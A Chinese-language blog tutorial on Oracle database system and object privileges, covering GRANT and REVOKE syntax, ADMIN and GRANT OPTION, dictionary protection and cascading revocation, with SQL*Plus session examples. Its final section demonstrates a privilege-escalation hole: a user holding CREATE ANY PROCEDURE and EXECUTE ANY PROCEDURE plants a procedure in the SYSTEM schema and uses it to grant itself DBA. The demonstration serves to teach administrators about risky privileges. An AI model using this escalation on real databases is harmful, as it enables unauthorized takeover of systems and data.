兩種使用者權限:
System:允許使用者執行特定的資料庫操作或某類資料庫操作,例如,建立表空間的權限就是一種系統權限。
Object:限都允許使用者對特定對象(如表、視圖、序列、過程、函數或程式包)執行特定的操作。
• 有100 多種不同的系統權限。
系統權限可分為以下幾類:
• 允許執行系統範圍操作的權限;如CREATE SESSION,CREATE TABLESPACE
• 允許管理使用者自己方案中的對象的權限;如CREATE TABLE
• 允許管理任何方案中的對象的權限;如CREATE ANY TABLE
可使用DDL 指令GRANT 和REVOKE 控制權限,這兩個指令為使用者或角色添加和撤消系統權限。
<b>系統權限舉例</b>:
<a target="_blank" href="http://blog.51cto.com/attachment/201004/122750336.png"></a>
圖1
• 沒有CREATE INDEX 權限。
• CREATE TABLE 包括CREATE INDEX 和ANALYZE 指令。使用者必須有表空間的限額,或必須被授予UNLIMITED TABLESPACE 權限。
• 諸如CREATE TABLE、CREATE PROCEDURE 或CREATE CLUSTER 等權限包括删除這些對象的權限。
• 無法将UNLIMITED TABLESPACE 授予角色。
• DROP ANY TABLE 權限是截斷另一方案中的表所必需的。
例:
SQL> create user user1 identified by user1 default tablespace luo;
User created.
SQL> grant create session to user1 ;
Grant succeeded.
SQL> grant create table to user1;
SQL> create user user2 identified by user2 default tablespace luo quota 20m on luo;
SQL> grant create session to user2;
SQL> grant create table to user2;
SQL> conn user1/user1;
Connected.
SQL> show user
USER is "USER1"
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE TABLE
SQL> create table test(id int);
create table test(id int)
*
ERROR at line 1:
ORA-01950: no privileges on tablespace 'LUO'
SQL> conn user2/user2;
USER is "USER2"
SQL> create table test2(id int);
Table created.
<b>授予系統權限</b>
使用SQL 語句GRANT 為使用者授予系統權限。
被授予者可通過ADMIN 選項進一步為其他使用者授予系統權限。使用ADMIN 選項授予系統權限時應小心。這樣的權限通常隻限于安全管理者使用,很少授予其他使用者。
GRANT {system_privilege|role}
[, {system_privilege|role} ]...
TO {user|role|PUBLIC}
[, {user|role|PUBLIC} ]...
[WITH ADMIN OPTION]
其中:
system_privilege:指定要授予的系統權限
Role:指定要授予的角色名
PUBLIC:将系統權限授予所有使用者
WITH ADMIN OPTION:允許被授予者進一步為其他使用者或角色授予權限或角色
Grant any object privilege:見授予對象權限。
<b>兩個特殊角色:</b>
<a target="_blank" href="http://blog.51cto.com/attachment/201004/122806732.png"></a>
圖2
隻有資料庫管理者可以使用管理者權限與資料庫連接配接。以SYSDBA 身份連接配接可以授予使用者不受限制的權限,以便對資料庫或資料庫中的對象執行任何操作。
<b>系統權限限制</b>
Oracle9i 中的字典保護機制可防止未經授權的使用者通路字典對象。
隻有角色SYSDBA 和SYSOPER 可以通路字典對象。允許通路其他方案中的對象的系統權限并不授予您對字典對象的通路權限。例如,SELECT ANY TABLE 權限允許通路其它方案中的視圖和表,但不允許選擇字典對象(基表、視圖、程式包和同義詞)。
如果 O7_DICTIONARY_ACCESSIBILITY參數設定為TRUE, 則允許通路SYS 方案中的對象(Oracle7 行為)。如果該參數設定為FALSE,則允許通路其它方案中的對象的SYSTEM 權限不允許通路字典方案中的對象。
例如,如果O7_DICTIONARY_ACCESSIBILITY=FALSE,則SELECT ANY TABLE 語句将允許通路除SYS 方案外的任何方案中的視圖或表(例如,不能通路字典)。系統權限EXECUTE ANY PROCEDURE 将允許通路除SYS 方案外的任何其它方案中的過程。
實驗:
SQL> grant select any table to user1;
SQL> show parameter o7
NAME TYPE VALUE
------------------------------------ ----------- ------------------------------
O7_DICTIONARY_ACCESSIBILITY boolean FALSE
SQL> conn user1/user1
SQL> select tablespace_name from dba_tablespaces;
select tablespace_name from dba_tablespaces
*
ORA-00942: table or view does not exist
SQL> conn /as sysdba
SQL> alter system set O7_DICTIONARY_ACCESSIBILITY=true scope=spfile;
System altered.
SQL> shutdown immediate
SQL> startup
O7_DICTIONARY_ACCESSIBILITY boolean TRUE
TABLESPACE_NAME
------------------------------
SYSTEM
UNDOTBS1
TEMP
。。。。。。
<b>撤消系統權限</b>
可以使用REVOKE SQL 語句撤消系統權限。使用ADMIN OPTION 授予系統權限的使用者可以撤消任何其他資料庫使用者的權限。撤消者不必是原先授予該權限的那個使用者。
REVOKE {system_privilege|role}
FROM {user|role|PUBLIC}
注:
• REVOKE 指令隻能撤消使用GRANT 指令直接授予的權限(即不包括角色的權限)。
• 撤消系統權限可能對一些相關對象有影響。例如,如果将SELECT ANY TABLE 授予某使用者,而該使用者已建立了使用其它方案中的表的過程或視圖,則撤消該權限将使這些過程或視圖無效。
<a target="_blank" href="http://blog.51cto.com/attachment/201004/122822878.png"></a>
圖3
情況:
1. DBA 使用ADMIN OPTION 将系統權限CREATE TABLE 授予Jeff。
2. Jeff 建立一個表。
3. Jeff 将系統權限CREATE TABLE 授予Emi。
4. Emi 建立一個表。
5. DBA 撤消Jeff 的CREATE TABLE 系統權限。
結果:
Jeff 的表依然存在,但是,無法建立新表。
Emi 的表依然存在,并且她仍然擁有CREATE TABLE 系統權限。
<b>Tips:</b>
<a target="_blank" href="http://blog.51cto.com/attachment/201004/122842751.png"></a>
圖4
<b>對象權限</b>
<a target="_blank" href="http://blog.51cto.com/attachment/201004/122859395.png"></a>
圖5
對象權限是一種對于特定的表、視圖、序列、過程、函數或程式包執行特定操作的一種權限或權利。上表列出了各種對象的權限。需要注意的是适用于序列的權限隻有SELECT 和ALTER。通過指定可更新列的子集可以對UPDATE、REFERENCES 和INSERT 權限加以限制。通過用列的子集建立視圖并授予對于該視圖的SELECT 權限,則可對SELECT 權限加以限制。對于同義詞的授權會轉換為對于該同義詞所引用的基表的授權。
<b>授予對象權限</b>
GRANT { object_privilege [(column_list)]
[, object_privilege [(column_list)] ]...
|ALL [PRIVILEGES]}
ON [schema.]object
TO {user|role|PUBLIC}[, {user|role|PUBLIC} ]...
[WITH GRANT OPTION]
object_privilege:指定要授予的對象權限
column_list:指定表或視圖列(隻在授予INSERT、REFERENCES 或UPDATE 權限時才指定。)
ALL:将所有權限授予已被授予WITH GRANT OPTION 的對象
ON object:辨別将要被授予權限的對象
WITH GRANT OPTION:使被授予者能夠将對象權限授予其他使用者或角色
使用GRANT 語句授予對象權限。
• 要授予權限,對象必須在自己的方案中(除非已被授予Grant any object privilege權限),或者已認證GRANT OPTION 被授予權限。
• 預設情況下,如果擁有某個對象,則自動獲得對該對象的所有權限。
• 若有安全方面的考慮,則将您的對象權限授予其他使用者時應謹慎。
<b>WITH GRANT OPTION </b><b>clause</b>
Specify WITH GRANT OPTION to enable the grantee to grant the object privileges to other users and roles. The user whose schema contains an object is automatically granted all associated object privileges with the GRANT OPTION. This special privilege allows the grantee several expanded privileges:
• The grantee can grant the object privilege to any users in the database, with or without the GRANT OPTION, or to any role in the database.
• If both of the following are true, the grantee can create views on the table and grant the corresponding privileges on the views to any user or role in the database:
- The grantee receives object privileges for the table with the GRANT OPTION.
- The grantee has the CREATE VIEW or CREATE ANY VIEW system privilege
SQL> select * from luo.orders;
select * from luo.orders
*
SQL> grant select on orders to user1;
ORD_ID ORD_DATE CUS DATE_OF_D PRODUCT_ID
---------- --------- --- --------- ----------
610 11-NOV-97 A01
611 15-NOV-97 A02
<b>Grant any object privilege</b>:
SQL> conn luo/luo
SQL> select * from user2.t;
select * from user2.t
*
以sys使用者登入賦予luo grant any object privileges權限:
SQL> grant grant any object privileges to luo;
GRANT ANY OBJECT PRIVILEGE
15 rows selected.
ORA-01031: insufficient privileges
#luo本身無操作這些對象的權限。
SQL> grant select on user2.t to user1;
ID
----------
1
<b> </b>
<b>撤消對象權限</b>
REVOKE 語句用來撤消對象權限。要撤消對象權限,撤消者必須是将被撤消的對象權限的原始授予者。
使用下列指令撤消對象權限:
REVOKE { object_privilege
[, object_privilege ]...
| ALL [PRIVILEGES] }
[CASCADE CONSTRAINTS]
object_privilege:指定将撤消的對象權限
ALL:撤消已授予使用者的所有對象權限
ON:辨別将撤消其對象權限的對象
FROM:辨別将撤消其對象權限的使用者或角色
CASCADE CONSTRAINTS:删除撤消使用REFERENCES 或ALL 權限定義的任何引用完整性限制
限制:
授予者隻能對其已經授予權限的使用者撤消對象權限。
<a target="_blank" href="http://blog.51cto.com/attachment/201004/122929289.png"></a>
圖6
• 通過GRANT OPTION 授予Jeff 對于EMPLOYEES 的SELECT 對象權限。
• Jeff 将對于EMPLOYEES 的SELECT 權限授予Emi。
• 之後,撤消Jeff 的SELECT 權限。該撤消也對Emi 産生級聯影響。
<b>Tips</b><b>:</b>
圖7
<b>擷取資訊:</b>
• DBA_SYS_PRIVS
• SESSION_PRIVS
• DBA_TAB_PRIVS
• DBA_COL_PRIVS
<b>安全漏洞示範:</b>
SQL> create user hacker identified by hacker default tablespace luo quota
2 unlimited on luo;
SQL> grant create session to hacker;
SQL> grant create any procedure,execute any procedure to hacker;
SQL> conn hacker/hacker;
USER is "HACKER"
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE
SQL> select * from session_roles;
ROLE
PLUSTRACE
SQL> create procedure system.h(h_str in varchar2) as
2 begin
3 execute immediate h_str;
4 end;
5 /
Procedure created.
SQL> execute system.h('grant dba to hacker');
PL/SQL procedure successfully completed.
UNLIMITED TABLESPACE
SQL> conn hacker/hacker
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA
14 rows selected.
本文轉自 d185740815 51CTO部落格,原文連結:http://blog.51cto.com/luotaoyang/296315,如需轉載請自行聯系原作者